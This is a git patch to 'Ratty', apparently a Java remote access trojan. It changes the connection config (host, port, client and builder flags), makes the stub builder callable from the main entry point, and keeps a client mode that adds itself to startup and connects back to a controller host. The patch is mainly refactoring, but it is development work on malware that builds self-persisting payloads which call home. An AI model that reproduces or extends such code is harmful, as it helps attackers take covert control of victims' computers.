From 74ac38da6157ee78c39206396f5828931a14ed00 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Sat, 6 Feb 2016 00:00:27 +0100 Subject: [PATCH] Small changes Fixes --- Ratty/res/connection_data.txt | 8 +++++- Ratty/src/de/sogomn/rat/Ratty.java | 25 +++++++++++++++---- .../de/sogomn/rat/builder/StubBuilder.java | 17 +++++-------- 3 files changed, 33 insertions(+), 17 deletions(-) diff --git a/Ratty/res/connection_data.txt b/Ratty/res/connection_data.txt index 9daf0d2..65bfdf8 100644 --- a/Ratty/res/connection_data.txt +++ b/Ratty/res/connection_data.txt @@ -1,3 +1,9 @@ localhost 23456 -false \ No newline at end of file +false +false + +1 - Host +2 - Port +3 - Client? +4 - Builder? \ No newline at end of file diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 2b39ffd..2f97b32 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -10,6 +10,7 @@ import javax.swing.JOptionPane; import com.alee.laf.WebLookAndFeel; import de.sogomn.engine.util.FileUtils; +import de.sogomn.rat.builder.StubBuilder; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.gui.RattyGui; import de.sogomn.rat.server.gui.RattyGuiController; @@ -20,6 +21,7 @@ public final class Ratty { private static String address; private static int port; private static boolean client; + private static boolean builder; private static final String PORT_INPUT_MESSAGE = "Which port should the server be bind to?"; @@ -40,14 +42,16 @@ public final class Ratty { private static void readConnectionData() { final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME); - if (lines.length >= 3) { + if (lines.length >= 4) { final String addressString = lines[0].trim(); final String portString = lines[1].trim(); final String clientString = lines[2].trim(); + final String builderString = lines[3].trim(); address = addressString; port = Integer.parseInt(portString); client = Boolean.parseBoolean(clientString); + builder = Boolean.parseBoolean(builderString); } } @@ -111,10 +115,7 @@ public final class Ratty { server.start(); } - public static void main(final String[] args) { - WebLookAndFeel.install(); - readConnectionData(); - + public static void start() { if (client) { addToStartup(); connectToHost(address, port); @@ -129,4 +130,18 @@ public final class Ratty { } } + public static void main(final String[] args) { + WebLookAndFeel.install(); + + readConnectionData(); + + if (builder) { + StubBuilder.start(); + + System.exit(0); + } else { + start(); + } + } + } diff --git a/Ratty/src/de/sogomn/rat/builder/StubBuilder.java b/Ratty/src/de/sogomn/rat/builder/StubBuilder.java index 0b4dc57..ead6122 100644 --- a/Ratty/src/de/sogomn/rat/builder/StubBuilder.java +++ b/Ratty/src/de/sogomn/rat/builder/StubBuilder.java @@ -14,13 +14,11 @@ import java.nio.file.StandardCopyOption; import javax.swing.JFileChooser; import javax.swing.JOptionPane; -import com.alee.laf.WebLookAndFeel; - import de.sogomn.engine.util.FileUtils; import de.sogomn.rat.Ratty; -final class StubBuilder { +public final class StubBuilder { private static final String ADDRESS_MESSAGE = "Address?"; private static final String PORT_MESSAGE = "Port?"; @@ -33,7 +31,7 @@ final class StubBuilder { private static File getFileInput(final boolean open) { final JFileChooser fileChooser = new JFileChooser(); - final File currentDirectory = new File(""); + final File currentDirectory = new File("."); fileChooser.setCurrentDirectory(currentDirectory); @@ -94,21 +92,18 @@ final class StubBuilder { Files.copy(in, fileToReplace, StandardCopyOption.REPLACE_EXISTING); jarFileSystem.close(); + in.close(); } catch (final IOException ex) { ex.printStackTrace(); } } - public static void main(final String[] args) { - WebLookAndFeel.install(); - + public static void start() { final File jarFile = copyJarFile(); - if (jarFile == null) { - System.exit(0); + if (jarFile != null) { + replaceFile(jarFile); } - - replaceFile(jarFile); } }